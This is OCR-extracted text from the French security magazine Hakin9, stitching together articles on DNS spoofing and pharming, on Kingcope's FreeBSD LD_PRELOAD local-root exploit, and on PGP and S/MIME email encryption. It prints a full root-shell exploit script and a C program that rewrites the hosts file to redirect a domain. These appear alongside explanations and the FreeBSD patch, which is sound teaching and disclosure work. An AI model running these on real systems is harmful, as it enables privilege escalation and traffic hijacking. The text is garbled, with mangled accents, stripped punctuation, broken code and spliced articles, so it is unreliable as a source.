Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 27: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

